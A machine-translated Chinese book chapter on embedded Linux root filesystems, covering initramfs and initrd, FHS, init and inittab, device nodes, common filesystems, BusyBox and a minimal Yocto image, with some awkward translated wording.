您将获得有关其内容、子目录、定义的用途、各种可用的文件系统选项、BusyBox 替代方案以及许多有趣特性的信息。 - -在与嵌入式环境交互时,许多开发人员都会从发行版提供商(如 Debian)提供的最小根文件系统开始,使用跨工具链将通过各种包、工具和实用程序对其进行增强。 如果要添加的包数量很大,可能会非常麻烦。 白手起家将是一场更大的噩梦。 在约克托项目内部,这项工作是自动化的,不需要人工工作。 开发是从头开始的,它在根文件系统中提供了大量的包,使工作变得有趣。 因此,让我们继续前进,看看本章的内容,以便从总体上更多地了解根文件系统。 - -# 与根文件系统交互 - -根文件系统由目录和文件层次结构组成。 在此文件层次结构中,可以挂载各种文件系统,从而显示特定存储设备的内容。 使用 mount 命令完成挂载,操作完成后,使用存储设备上的可用内容填充挂载点。 反向操作称为`umount`,用于清空其内容的挂载点。 - -上述命令对于应用与各种可用文件的交互非常有用,无论其位置和格式如何。 例如,`mount`命令的标准格式为`mount –t type device directory`。 该命令要求内核从命令行中提到的`type`格式的设备以及同一命令中提到的目录连接文件系统。 在删除设备之前需要给出`umount`命令,以确保内核缓存已写入存储点。 - -根文件系统在根层次结构中可用,也称为`/`。 它是第一个可用的文件系统,也是不使用`mount`命令的文件系统,因为它是由内核通过`root= argument`直接挂载的。 以下是加载根文件系统的多个选项: - -* 从记忆中 -* 使用 NFS 从网络 -* 来自 NAND 芯片 -* 从 SD 卡分区 -* 从 USB 分区 -* 从硬盘分区 - -这些选项由硬件和系统架构师选择。 要利用这些功能,需要相应地配置内核和引导加载程序。 - -除了需要与板的内部存储器或存储设备交互的选项外,最常用的加载根文件系统的方法之一由 NFS 选项表示,这意味着根文件系统在本地计算机上可用,并通过目标上的网络导出。 此选项具有以下优势: - -* 根文件系统的大小不是问题,因为开发计算机上的存储空间比目标计算机上的可用存储空间大得多 -* 更新过程要容易得多,无需重新启动即可完成 -* 对于具有小型甚至不存在内部或外部存储设备的设备,通过网络访问存储是最佳解决方案 - -网络存储的缺点是需要服务器客户端体系结构。 因此,对于 NFS,需要在开发计算机上提供 NFS 服务器功能。 对于 Ubuntu 主机,所需的配置包括安装`nfs-kernel–server`包`sudo apt-get install nfs-kernel-server`。 安装程序包后,需要指定和配置导出的目录位置。 这是使用`/etc/exports`文件完成的;在这里,会出现类似于`/nfs/rootfs (rw,no_root_squash,no_subtree_check)`的配置行,其中每一行都定义了通过网络与 NFS 客户端共享的位置。 配置完成后,需要按如下方式重启 NFS 服务器:`sudo /etc/init.d/nfs-kernel-server restart`。 - -对于目标上可用的客户端端,需要相应地配置 Linux 内核,以确保启用了 NFS 支持,并且在引导时有一个 IP 地址可用。 这些配置为`CONFIG_NFS_FS=y`、`CONFIG_IP_PNP=y`和`CONFIG_ROOT_NFS=y`。 内核还需要配置`root=/dev/nfs`参数、目标的 IP 地址和 NFS 服务器`nfsroot=192.168.1.110:/nfs/rootfs`信息。 以下是两个组件之间的通信示例: - -![Interacting with the root filesystem](img/image00323.jpeg) - -还有一种可能是将根文件系统集成到内核映像中,也就是最小的根文件系统,其目的是启动功能齐全的根文件系统。 这个根文件系统称为`initramfs`。 对于对较小根文件系统的快速引导选项感兴趣的人来说,这种类型的文件系统非常有用,这些根文件系统只包含一些有用的功能,需要更早启动。 它对于在引导时快速加载系统很有用,但也可以作为启动其中一个可用存储位置上可用的实际根文件系统之前的中间步骤。 根文件系统首先在内核引导过程之后启动,因此它与 Linux 内核一起使用是有意义的,因为它位于 RAM 内存中靠近内核的位置。 下图说明了这一点: - -![Interacting with the root filesystem](img/image00324.jpeg) - -要创建`initramfs`,需要使配置可用。 这可以通过定义根文件系统目录的路径、`cpio`存档的路径,甚至是描述`CONFIG_INITRAMFS_SOURCE`内的`initramfs`内容的文本文件来实现。 当内核构建开始时,将读取`CONFIG_INITRAMFS_SOURCE`的内容,并将根文件系统集成到内核映像中。 - -### 备注 - -有关`initramfs`文件系统选项的更多信息可以在`Documentation/filesystems/ramfs-rootfs-initramfs.txt`和`Documentation/early-userspace/README`处的内核文档文件中找到。 - -初始 RAM 磁盘或`initrd`是挂载早期根文件系统的另一种机制。 它还需要在 Linux 内核中启用的支持,并作为内核的一个组件加载。 它包含一小部分可执行文件和目录,并代表到功能齐全的根文件系统的过渡阶段。 对于没有能够容纳更大根文件系统的存储设备的嵌入式设备,它仅代表最后阶段。 - -在传统系统上,`initrd`是使用`mkinitrd`工具创建的,实际上,该工具是一个 shell 脚本,可以自动执行创建`initrd`所需的步骤。 以下是其功能的示例: - -```sh -#!/bin/bash - -# Housekeeping... -rm -f /tmp/ramdisk.img -rm -f /tmp/ramdisk.img.gz - -# Ramdisk Constants -RDSIZE=4000 -BLKSIZE=1024 - -# Create an empty ramdisk image -dd if=/dev/zero of=/tmp/ramdisk.img bs=$BLKSIZE count=$RDSIZE - -# Make it an ext2 mountable file system -/sbin/mke2fs -F -m 0 -b $BLKSIZE /tmp/ramdisk.img $RDSIZE - -# Mount it so that we can populate -mount /tmp/ramdisk.img /mnt/initrd -t ext2 -o loop=/dev/loop0 - -# Populate the filesystem (subdirectories) -mkdir /mnt/initrd/bin -mkdir /mnt/initrd/sys -mkdir /mnt/initrd/dev -mkdir /mnt/initrd/proc - -# Grab busybox and create the symbolic links -pushd /mnt/initrd/bin -cp /usr/local/src/busybox-1.1.1/busybox . -ln -s busybox ash -ln -s busybox mount -ln -s busybox echo -ln -s busybox ls -ln -s busybox cat -ln -s busybox ps -ln -s busybox dmesg -ln -s busybox sysctl -popd - -# Grab the necessary dev files -cp -a /dev/console /mnt/initrd/dev -cp -a /dev/ramdisk /mnt/initrd/dev -cp -a /dev/ram0 /mnt/initrd/dev -cp -a /dev/null /mnt/initrd/dev -cp -a /dev/tty1 /mnt/initrd/dev -cp -a /dev/tty2 /mnt/initrd/dev - -# Equate sbin with bin -pushd /mnt/initrd -ln -s bin sbin -popd - -# Create the init file -cat >> /mnt/initrd/linuxrc << EOF -#!/bin/ash -echo -echo "Simple initrd is active" -echo -mount -t proc /proc /proc -mount -t sysfs none /sys -/bin/ash --login -EOF - -chmod +x /mnt/initrd/linuxrc - -# Finish up... -umount /mnt/initrd -gzip -9 /tmp/ramdisk.img -cp /tmp/ramdisk.img.gz /boot/ramdisk.img.gz - -``` - -### 备注 - -有关`initrd`的更多信息,请参见`Documentation/initrd.txt`。 - -使用`initrd`不像`initramfs`那么简单。 在这种情况下,需要以类似于内核映像的方式复制存档,引导加载程序需要将其位置和大小传递给内核,以确保它已经启动。 因此,在这种情况下,引导加载器还需要`initrd`的支持。 `initrd`的中心点由`linuxrc`文件构成,该文件是启动的第一个脚本,通常用于提供对系统引导的最后阶段(即真正的根文件系统)的访问。 在`linuxrc`完成执行之后,内核将卸载它并继续使用真正的根文件系统。 - -## 深入研究文件系统 - -无论它们的出处是什么,大多数可用的根文件系统都具有相同的目录组织,正如通常所说的那样,由**文件系统层次结构标准**(**FHS**)定义。 这种组织对开发人员和用户都有很大帮助,因为它不仅提到了目录层次结构,还提到了目录的用途和内容最值得注意的是: - -* `/bin`:指大多数程序的位置 -* `/sbin`:系统程序的位置 -* `/boot`:引导选项的位置,如`kernel image`、`kernel config`、`initrd`、`system maps`等信息 -* `/home`:指用户主目录 -* `/root`:指 root 用户主位置的位置 -* `/usr`:这指的是特定于用户的程序和库,并模仿根文件系统的部分内容 -* `/lib`:指图书馆的位置 -* `/etc`:指系统范围的配置 -* `/dev`:指设备文件的位置 -* `/media`:移动设备挂载点的位置 -* `/mnt`:静态介质挂载位置 -* `/proc`:指的是`proc`虚拟文件系统的挂载点 -* `/sys`:指的是`sysfs`虚拟文件系统的挂载点 -* `/tmp`:指临时文件的位置 -* `/var`:指数据文件,如记录数据、管理信息或临时数据的位置 - -FHS 会随着时间的推移改变,但变化不大。 前面提到的大多数目录由于各种原因保持不变-最简单的一个原因是它们需要确保向后兼容。 - -### 备注 - -有关 FHS 的最新可用信息,请访问[http://refspecs.linuxfoundation.org/FHS_2.3/fhs-2.3.pdf](http://refspecs.linuxfoundation.org/FHS_2.3/fhs-2.3.pdf)。 - -根文件系统由内核启动,这是内核在结束引导阶段之前完成的最后一步。 下面是执行此操作的确切代码: - -```sh -/* - * We try each of these until one succeeds. - * - * The Bourne shell can be used instead of init if we are - * trying to recover a really broken machine. - */ - if (execute_command) { - ret = run_init_process(execute_command); - if (!ret) - return 0; - pr_err("Failed to execute %s (error %d). Attempting defaults...\n",execute_command, ret); - } - if (!try_to_run_init_process("/sbin/init") || - !try_to_run_init_process("/etc/init") || - !try_to_run_init_process("/bin/init") || - !try_to_run_init_process("/bin/sh")) - return 0; - - panic("No working init found. Try passing init= option to kernel." "See Linux Documentation/init.txt for guidance."); -``` - -在这段代码中,可以很容易地识别出,在退出 Linux 内核引导执行之前,有许多位置用于搜索需要启动的`init`进程。 `run_init_process()`函数是`execve()`函数的包装器,如果调用过程中没有遇到错误,它将不会有返回值。 被调用的程序覆盖执行进程的内存空间,替换调用线程并继承其`PID`。 - -这个初始化阶段太老了,所以 Linux 1.0 版本中也有类似的结构。 这表示用户空间处理开始。 如果内核无法在预定义的位置执行前面四个功能中的一个,则内核将暂停,并在控制台上提示一条紧急消息,发出警报,指出无法启动任何初始化进程。 因此,在内核空间处理完成之前,用户空间处理不会开始。 - -对于大多数可用的 Linux 系统,`/sbin/init`是内核产生 init 进程的位置;Yocto 项目生成的根文件系统也是如此。 它是第一个在用户空间上下文中运行的应用,但不是根文件系统的唯一必需功能。 在根文件系统内运行任何进程之前,需要解决几个依赖项。 有一些依赖项用于解析先前未解析的动态链接依赖项引用,还有一些依赖项需要外部配置。 对于第一类依赖关系,可以使用`ldd`工具来识别动态链接的依赖关系,但对于第二类依赖关系,没有通用的解决方案。 例如,对于`init`进程,配置文件为`inittab,`,该文件在`/etc`目录中可用。 - -对于对运行另一个`init`进程不感兴趣的开发人员,可以使用带 Available`init=`参数的内核命令行访问该选项,其中应提供到执行的二进制文件的路径。 在前面的代码中也提供了此信息。 定制`init`流程不是开发人员常用的方法,但这是因为`init`流程非常灵活,这使得许多启动脚本可用。 - -在`init`之后启动的每个进程都使用父子关系,其中`init`充当在用户空间上下文中运行的所有进程的父进程,也是环境参数的提供者。 最初,init 进程根据定义运行级概念的`/etc/inittab`配置文件中的可用信息生成进程。 运行级代表系统的状态,并定义已启动的程序和服务。 有 8 个运行级别可用,编号从`0`到`6`,还有一个特殊的级别标记为`S`。 它们的用途如下所述: - - -| - -运行级别值 - - | - -运行级目的 - - | -| --- | --- | -| `0` | 指的是整个系统的关机断电命令 | -| `1` | 它是单用户管理模式,具有标准登录访问权限 | -| `2` | 它是无 TCP/IP 连接的多用户 | -| `3` | 它指的是通用多用户 | -| `4` | 它由系统的所有者定义 | -| `5` | 它指的是图形界面和 TCP/IP 连接的多用户系统 | -| `6` | 它指的是系统重新启动 | -| `s` | 它是单用户模式,提供对最小根外壳的访问 | - -每个运行级启动和终止多个服务。 启动的服务以`S`开头,取消的服务以`K`开头。 实际上,每个服务都是一个 shell 脚本,它定义了它定义的提供的行为。 - -`/etc/inittab`配置脚本定义了运行级和应用于所有运行级的指令。 对于 Yocto 项目,`/etc/inittab`如下所示: - -```sh -# /etc/inittab: init(8) configuration. -# $Id: inittab,v 1.91 2002/01/25 13:35:21 miquels Exp $ - -# The default runlevel. -id:5:initdefault: - -# Boot-time system configuration/initialization script. -# This is run first except when booting in emergency (-b) mode. -si::sysinit:/etc/init.d/rcS - -# What to do in single-user mode. -~~:S:wait:/sbin/sulogin - -# /etc/init.d executes the S and K scripts upon change -# of runlevel. -# -# Runlevel 0 is halt. -# Runlevel 1 is single-user. -# Runlevels 2-5 are multi-user. -# Runlevel 6 is reboot. - -l0:0:wait:/etc/init.d/rc 0 -l1:1:wait:/etc/init.d/rc 1 -l2:2:wait:/etc/init.d/rc 2 -l3:3:wait:/etc/init.d/rc 3 -l4:4:wait:/etc/init.d/rc 4 -l5:5:wait:/etc/init.d/rc 5 -l6:6:wait:/etc/init.d/rc 6 -# Normally not reached, but fallthrough in case of emergency. -z6:6:respawn:/sbin/sulogin -S0:12345:respawn:/sbin/getty 115200 ttyS0 -# /sbin/getty invocations for the runlevels. -# -# The "id" field MUST be the same as the last -# characters of the device (after "tty"). -# -# Format: -# ::: -# - -1:2345:respawn:/sbin/getty 38400 tty1 -``` - -当`init`解析`inittab`文件前面的时,执行的第一个脚本是通过`sysinit`标记标识的`si::sysinit:/etc/init.d/rcS`行。 然后,进入`runlevel 5`,并且指令的处理一直持续到最后一级,直到最后使用`/sbin/getty symlink`产生外壳。 在控制台中运行`man init`或`man inittab`可以找到关于`init`或`inittab`的更多信息。 - -任何 Linux 系统的最后阶段都由 POWER OFF 或 SHUTDOWN 命令表示。 这一点非常重要,因为如果操作不当,可能会通过损坏数据来影响系统。 当然,实现关闭方案有多种选择,但最方便的仍然是实用程序的形式,例如`shutdown`、`halt`或`reboot`。 也有可能使用`init 0`停止系统,但实际上,它们的共同点是使用`SIGTERM`和`SIGKILL`信号。 `SIGTERM`最初用于通知您关闭系统的决定,为系统提供执行必要操作的机会。 完成此操作后,将发送`SIGKILL`信号以终止所有进程。 - -## 设备驱动程序 - -对于 Linux 系统来说,最重要的挑战之一是允许访问各种硬件设备上的应用。 虚拟内存、内核空间和用户空间等概念无助于简化工作,反而给这些信息增加了另一层复杂性。 - -设备驱动程序唯一的目的是将硬件设备和内核数据结构与用户空间应用隔离。 用户不需要知道要将数据写入硬盘,他或她将被要求使用各种大小的扇区。 用户只打开要在其中写入的文件,完成后关闭。 设备驱动程序负责所有底层工作,例如隔离复杂性。 - -在用户空间内,所有设备驱动程序都有关联的设备节点,这些节点实际上是代表设备的特殊文件。 所有设备文件都位于`/dev`目录中,与它们的交互是通过`mknod`实用程序完成的。 设备节点在两个抽象下可用: - -* **块设备**:这些块由固定大小的块组成,通常在与硬盘、SD 卡、U 盘等交互时使用 -* **字符设备**:这些是没有大小、开头或结尾的字符流;它们大多不是块设备的形式,如终端、串行端口、声卡等 - -每台设备都有一个提供相关信息的结构: - -* `Type`标识设备节点是字符还是块 -* `Major`标识设备的类别 -* `Minor`保存设备节点的标识符 - -创建设备节点的`mknod`实用程序使用三元组信息,如`mknod /dev/testdev c 234 0`。 执行该命令后,会出现一个`new /dev/testdev`文件。 它应该将自己绑定到已安装并已定义其属性的设备驱动程序。 如果发出`open`命令,内核将查找使用与设备节点相同的主编号注册的设备驱动程序。 次要编号用于处理具有相同设备驱动程序的多个设备或一系列设备。 它被传递给设备驱动程序,以便它可以使用它。 次要设备的使用没有标准方法,但通常,它定义共享相同主设备编号的设备系列中的特定设备。 - -使用`mknod`实用程序需要手动交互和 root 权限,并让开发人员完成识别设备节点及其对应设备驱动程序的属性所需的所有繁重工作。 最新的 Linux 系统提供了自动执行此过程的可能性,并在每次检测到设备或设备消失时完成这些操作。 此操作如下所示: - -* `devfs`:这个指的是被设计为文件系统的设备管理器,它也可以在内核空间和用户空间上访问。 -* `devtmpfs`:这个指的是自 2.6.32 内核版本发布以来可用的虚拟文件系统,它是对用于引导时间优化的`devfs`的改进。 它只为本地系统上可用的硬件创建设备节点。 -* `udev`:本指的是服务器和桌面 Linux 系统上使用的守护进程。 有关这方面的更多信息,请访问[https://www.kernel.org/pub/linux/utils/kernel/hotplug/udev/udev.html](https://www.kernel.org/pub/linux/utils/kernel/hotplug/udev/udev.html)。 Yocto 项目还将其用作默认设备管理器。 -* `mdev`:这个提供了比`udev`更简单的解决方案;实际上,它是 udev 的派生。 - -由于 System 对象也表示为文件,因此它简化了应用与它们交互的方法。 如果没有设备节点的使用,这是不可能的,设备节点实际上是可以应用正常文件交互功能的文件,例如`open()`、`read()`、`write()`和`close()`。 - -## 文件系统选项 - -根文件系统可以部署在非常广泛的文件系统类型下,并且每个文件系统都比其他文件系统更好地完成特定的任务。 如果某些文件系统针对性能进行了优化,则其他文件系统在节省空间甚至恢复数据方面做得更好。 这里将介绍一些最常用和最有趣的方法。 - -物理设备(如硬盘或 SD 卡)的逻辑分区称为**分区**。 物理设备可以有一个或多个分区来覆盖其可用存储空间。 可以将其视为具有可供用户使用的文件系统的逻辑磁盘。 Linux 中的分区管理是使用`fdisk`实用程序完成的。 可用于`create`、`list`、`destroy`等一般交互,分区类型超过 100 种。 更准确地说,在我的 Ubuntu14.04 开发机器上提供了 128 种分区类型。 - -最常用和众所周知的文件系统分区格式之一是`ext2`。 它也被称为**第二扩展文件系统**,它是由法国软件开发商 Rémy Card 于 1993 年推出的。 它被用作大量 Linux 发行版的默认文件系统,比如 Debian 和 Red Hat Linux,直到它被它的弟弟`ext3`和`ext4`取代。 它仍然是许多嵌入式 Linux 发行版和闪存设备的选择。 - -`ext2`文件系统将数据分割成块,这些块被排列成个块组。 每个块组维护超级块的副本和该块组的描述符表。 超级块用于存储配置信息,并保存引导过程所需的信息,尽管有多个副本可用;通常,位于文件系统的第一个块中的第一个副本是所使用的副本。 文件的所有数据通常保存在单个块中,以便更快地进行搜索。 每个块组除了其包含的数据外,还具有关于超级块的信息、块组的描述符表、索引节点位图和表信息以及块位图。 超级块是保存对引导过程重要的信息的块。 它的第一个块用于引导过程。 最后一个概念以`inodes`或索引节点的形式出现,它们通过文件和目录的权限、大小、磁盘位置和所有权来表示它们。 - -有多个应用用于与`ext2`文件系统格式交互。 其中之一是`mke2fs`,用于在`mke2fs /deb/sdb1 –L`分区(`ext2`标签分区)上创建`ext2`文件系统。 是`e2fsck`命令,用于验证文件系统的完整性。 如果没有发现错误,这些工具会提供有关分区文件系统配置的信息`e2fsck /dev/sdb1`。 此实用程序还可以修复设备使用不当后出现的一些错误,但不能在所有情况下使用。 - -Ext3 是另一个功能强大且广为人知的文件系统。 它取代了`ext2`,成为 Linux 发行版上使用最多的文件系统之一。 它实际上类似于`ext2`;不同之处在于它可以将可用的信息记入日志。 可以使用`tune2fs –j /dev/sdb1`命令以`ext3`文件格式更改`ext2`文件格式。 它基本上被视为`ext2`文件系统格式的扩展,添加了日志功能。 之所以会出现这种情况,是因为它被设计成既能向前兼容又能向后兼容。 - -日志记录是一种通过使恢复功能成为可能来记录对文件系统表单所做的所有更改的方法。 除了已经提到的特性之外,`ext3`还添加了其他特性;在这里,我指的是不检查文件系统中一致性的可能性,这主要是因为日志记录可以颠倒。 另一个重要特性是可以在不检查是否正确执行关机的情况下挂载它。 之所以会发生这种情况,是因为系统不需要在断电时执行一致性检查。 - -Ext4 是`ext3`的继任者,其构建理念是改进的性能和`ext3`中的存储限制。 它还向后兼容`ext3`和`ext2`文件系统,并添加了许多功能: - -* 持久性预分配:它定义了可用于预分配空间的`fallocate()`系统调用,很可能是以连续的形式;它对于数据库和媒体流非常有用 -* 延迟分配:也称为**刷新时分配**;它用于从刷新磁盘数据的那一刻起延迟分配块,以减少碎片并提高性能 -* 多块分配:这是延迟分配的副作用,因为它允许数据缓冲,同时允许分配多个块。 -* 增加子目录限制:这个`ext3`有 32000 个子目录的限制,`ext4`没有这个限制,也就是说子目录的数量是不受限制的 -* 日志校验和:用于提高可靠性 - -**日志闪存文件系统版本 2**(**JFFS2**)是为 NAND 和 NOR 闪存设计的文件系统。 它在 2001 年被包括在 Linux 主线内核中,与`ext3`文件系统同年,尽管在不同的月份。 它是在 11 月份发布的 Linux 版本 2.4.15,JFFS2 文件系统是在 9 月份发布的 2.4.10 内核版本。 由于它特别用于支持闪存设备,因此它会考虑某些因素,例如处理小文件的需要,以及这些设备具有与之相关的磨损级别这一事实,这通过其设计解决并降低了这些问题。 虽然 JFFS2 是闪存的标准,但也有一些替代方案试图取代它,例如 LogFS、另一个闪存文件系统(YAFFS)和未排序块映像文件系统(UBIFS)。 - -除了前面提到的文件系统之外,还有一些伪文件系统可用,包括`proc`、`sysfs`和`tmpfs`。 在下一节中,我们将描述其中的前两个,最后一个将留给您自己去了解。 - -`proc`文件系统是 Linux 的第一个版本提供的虚拟文件系统。 它被定义为允许内核向用户提供有关正在运行的进程的信息,但随着时间的推移,它已经发展,现在不仅能够提供有关正在运行的进程的统计信息,而且还提供了调整有关内存、进程、中断等管理的各种参数的可能性。 - -随着时间的推移,`proc`虚拟文件系统成为 Linux 系统用户的必需品,因为它聚集了大量的用户空间功能。 没有它,命令(如`top`、`ps`和`mount`)将无法工作。 例如,给出的不带参数的`mount`示例将在`/proc type proc (rw,noexec,nosuid,nodev)`上以`proc`的形式呈现安装在`/proc`上的`proc`。 这是因为需要将`proc`挂载到与`/etc`、`/home`等用作`/proc`文件系统目的地的目录相同的`root`文件系统上。 要挂载`proc`文件系统,可以使用与其他可用的文件系统类似的 mount`–t proc nodev/proc`mount 命令。 有关这方面的更多信息,可以在`Documentation/filesystems/proc.txt`的内核源代码文档中找到。 - -`proc`文件系统具有以下结构: - -* 对于每个运行的进程,在`/proc/`内都有一个可用的目录,它包含有关打开的文件、已使用的内存、CPU 使用情况以及其他进程特定信息的信息。 -* 有关一般设备的信息可在`/proc/devices`、`/proc/interrupts`、`/proc/ioports`和`/proc/iomem`中找到。 -* 内核命令行在`/proc/cmdline`内部可用。 -* 用于更改内核参数的文件在`/proc/sys`中可用。 `Documentation/sysctl`中还提供了更多信息。 - -`sysfs`文件系统用于表示物理设备。 它自 2.6 Linux 内核版本引入以来就可用,并提供将物理设备表示为内核对象并将设备驱动程序与相应设备相关联的可能性。 它对于`udev`和其他设备管理器等工具非常有用。 - -`sysfs`目录结构的每个主要系统设备类都有一个子目录,它还有一个系统总线子目录。 还有`systool`可用于浏览`sysfs`目录结构。 与 proc 文件系统类似,如果控制台上提供了`sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)``mount`命令,也可以看到`systool`。 可以使用`mount -t sysfs nodev /sys`命令挂载它。 - -### 备注 - -有关可用文件系统的更多信息,请参阅[http://en.wikipedia.org/wiki/List_of_file_systems](http://en.wikipedia.org/wiki/List_of_file_systems)。 - -# 了解 BusyBox - -BusyBox 是 Bruce Perens 在 1999 年开发的,目的是将可用的 Linux 工具集成到单个可执行文件中。 它已经作为大量 Linux 命令行实用程序的替代品获得了巨大的成功。 正因为如此,以及它能够适用于小型嵌入式 Linux 发行版的事实,它在嵌入式环境中获得了极大的普及。 它提供来自文件交互的实用程序,如`cp`、`mkdir`、`touch`、`ls`和`cat`,以及通用实用程序,如`dmesg`、`kill`、`fdisk`、`mount`、`umount`等。 - -它不仅非常容易配置和编译,而且非常容易使用。 事实上,它是非常模块化的,并且提供高度的配置,这使得它成为使用的完美选择。 它可能不包括在您的主机 PC 上可用的成熟 Linux 发行版中可用的所有命令,但它包含的命令已经足够了。 此外,这些命令只是在实现级别使用的完整命令的简化版本,并且都集成在`/bin/busybox`中可用的单个可执行文件中,作为该可执行文件的符号链接。 - -开发人员与 BusyBox 源代码包的交互非常简单:只需配置、编译和安装它,就可以了。 以下是解释以下内容的一些详细步骤: - -* 运行配置工具并选择要提供的功能 -* 执行 make`dep`以构造依赖关系树 -* 使用`make`命令构建包 - -### 提示 - -在目标系统上安装可执行文件和符号链接。 有兴趣在其工作站上与该工具交互的用户应注意,如果该工具是为主机系统安装的,则安装应在不覆盖任何实用程序并启动主机可用的脚本的位置进行。 - -BusyBox 包的配置也有一个`menuconfig`选项,类似于内核和 U-Boot 可用的选项,即`make``menuconfig`。 它用于显示可用于更快配置和配置搜索的文本菜单。 要使此菜单可用,首先需要在调用 Make`menuconfig`命令的系统上提供`ncurses`包。 - -在该过程结束时,BusyBox 可执行文件可用。 如果在不带参数的情况下调用它,它将显示与以下内容非常类似的输出: - -```sh -Usage: busybox [function] [arguments]... - or: [function] [arguments]... - - BusyBox is a multi-call binary that combines many common Unix - utilities into a single executable. Most people will create a - link to busybox for each function they wish to use and BusyBox - will act like whatever it was invoked as! - -Currently defined functions: - [, [[, arping, ash, awk, basename, bunzip2, busybox, bzcat, cat, - chgrp, chmod, chown, chroot, clear, cp, crond, crontab, cut, date, - dd, df, dirname, dmesg, du, echo, egrep, env, expr, false, fgrep, - find, free, grep, gunzip, gzip, halt, head, hexdump, hostid, hostname, - id, ifconfig, init, insmod, ipcalc, ipkg, kill, killall, killall5, - klogd, length, ln, lock, logger, logread, ls, lsmod, md5sum, mesg, - mkdir, mkfifo, mktemp, more, mount, mv, nc, "netmsg", netstat, - nslookup, passwd, pidof, ping, pivot_root, poweroff, printf, ps, - pwd, rdate, reboot, reset, rm, rmdir, rmmod, route, sed, seq, - sh, sleep, sort, strings, switch_root, sync, sysctl, syslogd, - tail, tar, tee, telnet, test, time, top, touch, tr, traceroute, - true, udhcpc, umount, uname, uniq, uptime, vi, wc, wget, which, - xargs, yes, zcat - -``` - -它显示在配置阶段启用的实用程序列表。 要调用上述实用程序之一,有两个选项。 第一个选项需要使用 BusyBox 二进制文件和调用的实用程序数量(表示为`./busybox ls`),而第二个选项涉及使用目录中已有的符号链接,如`/bin, /sbin, /usr/bin`,等等。 - -除了已有的实用程序外,BusyBox 还提供了`init`程序的实现替代方案。 在这种情况下,`init`不知道运行级别及其在`/etc/inittab`文件中可用的所有配置。 与标准`/etc/inittab`文件不同的另一个因素是,这个文件也有其特殊的语法。 要了解更多信息,可以参考 BusyBox 内部提供的`examples/inittab`。 BusyBox 包中还实现了其他工具和实用程序,例如`vi`的轻量级版本,但我将让您自己了解它们。 - -# 最小根文件系统 - -现在,与`root`文件系统相关的所有信息都已经呈现给您,现在来描述最小的`root`文件系统的必备组件,这将是一个很好的练习。 这不仅有助于您更好地理解`rootfs`结构及其依赖项,还有助于满足引导时间和`root`文件系统的大小优化所需的要求。 - -描述组件的起点是`/sbin/init`;在这里,通过使用`ldd`命令可以找到运行时依赖项。 对于 Yocto 项目,`ldd /sbin/init`命令返回: - -```sh -linux-gate.so.1 (0xb7785000) -libc.so.6 => /lib/libc.so.6 (0x4273b000) -/lib/ld-linux.so.2 (0x42716000) - -``` - -根据该信息,定义`/lib`目录结构。 其最小形式为: - -```sh -lib -|-- ld-2.3.2.so -|-- ld-linux.so.2 -> ld-2.3.2.so -|-- libc-2.3.2.so -'-- libc.so.6 -> libc-2.3.2.so - -``` - -以下符号链接可确保库的向后兼容性和版本豁免性。 前面代码中的`linux-gate.so.1`文件是一个**虚拟动态链接共享对象**(**vDSO**),由内核在一个良好的位置公开。 可以找到它的地址因机器架构的不同而不同。 - -在此之后,必须定义`init`及其运行级别。 BusyBox 包中提供了这方面的最小形式,因此它也可以在`/bin`目录中使用。 此外,还需要一个用于 shell 交互的符号链接,因此 bin 目录的最小值如下所示: - -```sh -bin -|-- busybox -'-- sh -> busybox - -``` - -接下来,需要定义运行级别。 在最小的`root`文件系统中只使用一个,这不是因为它是一个严格的要求,而是因为它可以抑制一些 BusyBox 警告。 `/etc`目录的外观如下所示: - -```sh -etc -'-- init.d - '-- rcS - -``` - -最后,控制台设备需要可供用户进行输入和输出操作,因此`root`文件系统的最后一部分位于`/dev`目录中: - -```sh -dev -'-- console - -``` - -在提到所有这些之后,最小的`root`文件系统似乎只有 5 个目录和 8 个文件。 它的最小大小不到 2MB,大约 80%的大小要归功于 C 库包。 还可以使用库优化器工具将其大小降至最小。 您可以在[http://libraryopt.sourceforge.net/](http://libraryopt.sourceforge.net/)上找到有关这方面的更多信息。 - -# 约克托项目 - -转到 Yocto 项目,我们可以看看 core-Image-Minimal 来确定它的内容和最低要求,就像在 Yocto 项目中定义的那样。 `core-image-minimal.bb`图像位于`meta/recipes-core/images`目录中,如下所示: - -```sh -SUMMARY = "A small image just capable of allowing a device to boot." - -IMAGE_INSTALL = "packagegroup-core-boot ${ROOTFS_PKGMANAGE_BOOTSTRAP} ${CORE_IMAGE_EXTRA_INSTALL} ldd" - -IMAGE_LINGUAS = " " - -LICENSE = "MIT" - -inherit core-image - -IMAGE_ROOTFS_SIZE ?= "8192" - -``` - -您可以在这里看到,这与任何其他食谱相似。 该图像定义`LICENSE`字段并继承定义其任务的`bbclass`文件。 用一个简短的总结来描述它,它与普通的包装食谱有很大的不同。 它没有`LIC_FILES_CHKSUM`来检查许可证或`SRC_URI` 字段,主要是因为它不需要它们。 反过来,该文件定义了应该包含在`root`文件系统中的确切包,并且其中一些包被分组到`packagegroup`中以便于处理。 此外,`core-image bbclass`文件定义了许多其他任务,例如`do_rootfs`,它仅特定于图像食谱。 - -构建`root`文件系统对任何人来说都不是一件容易的任务,但 Yocto 做得更成功一些。 它从用于根据根据**文件系统层次结构标准**(**FHS**)制定目录结构的基本文件配方开始,并与之一起放置了许多其他配方。 此信息在`./meta/recipes-core/packagegroups/packagegroup-core-boot.bb`配方中提供。 从前面的示例中可以看到,它还继承了一种不同的类,如`packagegroup.bbclass`,这是所有可用的包组的要求。 然而,最重要的因素是,它清楚地定义了构成`packagegroup`的包。 在我们的示例中,核心引导包组包含包,如`base-files`、`base-passwd`(包含基本系统主密码和组文件)、`udev`、`busybox`和`sysvinit`(类似于 init 的系统 V)。 - -从前面显示的文件中可以看到,BusyBox 包是 Yocto 项目生成的发行版的核心组件。 尽管有关于 BusyBox 可以提供 init 替代方案的信息,但是默认的 Yocto 生成的发行版不使用它。 取而代之的是,他们选择使用类似 system V 的 init,这与基于 Debian 的发行版类似。 尽管如此,通过`meta/recipes-core/busybox`位置内的 BusyBox 配方提供了许多 shell 交互工具。 对于对增强或删除`busybox`包提供的某些特性感兴趣的用户,将使用与 Linux 内核配置相同的概念。 `busybox`包使用一个`defconfig`文件,在该文件上应用了许多配置片段。 这些片段可以添加或删除功能,最终获得最终的配置文件。 这标识了`root`文件系统中可用的最终功能。 - -在 Yocto 项目中,可以通过使用`poky-tiny.conf` 分发策略来最小化`root`文件系统的大小,这些策略在`meta-yocto/conf/distro`目录中可用。 使用这些策略时,不仅可以减少引导大小,还可以缩短引导时间。 最简单的例子是使用`qemux86`机器。 在这里,更改是可见的,但它们与*最小根文件系统*部分中已经提到的更改略有不同。 